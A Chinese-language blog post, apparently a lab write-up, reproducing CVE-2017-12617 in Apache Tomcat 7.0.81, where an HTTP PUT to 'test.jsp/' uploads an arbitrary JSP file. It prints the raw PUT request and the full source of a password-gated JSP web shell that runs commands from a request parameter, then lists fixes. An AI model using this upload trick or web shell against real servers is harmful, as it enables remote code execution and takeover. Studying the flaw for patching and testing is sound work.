zoukankan      html  css  js  c++  java
  • Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现

    参考链接:

    http://www.freebuf.com/vuls/150203.html

    漏洞描述:

    CVE-2017-12617

    Apache Tomcat是一个流行的开源JSP应用服务器程序。

    Apache Tomcat启用HTTP PUT后,攻击者通过构造的请求,可上传任意JSP文件到服务器,造成远程代码执行。

    具体漏洞实现的原理参考链接里面有介绍,我本来也不是很理解,就不介绍了。

    漏洞环境:

    Win7 64位虚拟机

    apache-tomcat-7.0.81-windows-x64  (请在网盘里找对应的名字)

    具体复现过程:

    这个漏洞需要安装好后,修改 Tomcat 7.0confweb.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。

     

    修改以后,运行tomcat,访问运行

     

    这时候通过burp发一个PUT方法的包,在目录处可以添加文件名,freebuf上的大神说7.0.81版本可以用test.jsp/、test.jsp/.,我用下面包测试了一下

    PUT /test.jsp/ HTTP/1.1
    Host: 192.168.198.128:8080
    Content-Length: 24
    
    <%out.println("test");%>

     

    按照大神的思路写的马试试

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
    <%!public static String excuteCmd(String c) 
    {
        StringBuilder line = new StringBuilder();
    try 
    {
        Process pro = Runtime.getRuntime().exec(c);
        BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
        String temp = null;
        while ((temp = buf.readLine()) != null) 
        {
            line.append(temp+"\n");
        }
        buf.close();
    } 
    catch (Exception e) 
    {
        line.append(e.getMessage());
    }
    return line.toString();
    }
    %>
    <%
    if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
    {
        out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
    }
    else
    {
        out.println(":-)");
    }
    %>
    大神的马

     

    成功执行了

     

    在虚拟机的tomcat路径下apache-tomcat-7.0.81webappsROOT成功写入文件。

    修复建议:

      1、将Tomcat更新到该漏洞被修复的版本。

      2、web.xml配置文件readonly init-param设置为true,或是保持默认不设置,则攻击者无法上传文件。

      3、另外,当然也可以在前端(例如WAF)上阻止PUT和DELETE请求。

  • 相关阅读:
    考研路线及北大光华学院MBA的一些知识
    返回下表中所有同学语文成绩最低的1次考试成绩, pandas系列
    elasticsearch ES使用文档
    flask 基础用法(自己看的笔记)
    pigx集成sharding jdbc
    从rtmp拉流后进行python鼻子定位demo
    物流-门店监控-在线直播系统搭建-nginx核心部分
    Java中的锁分类与使用
    数据库中的锁
    【转】常见的性能测试缺陷
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7661679.html
Copyright © 2011-2022 走看看